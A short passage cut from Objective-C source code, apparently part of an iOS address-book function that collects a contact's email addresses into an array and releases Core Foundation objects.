addObject:(NSString *)emailRef]; CFRelease(emailRef); } } CFRelease(multi); return NO; }

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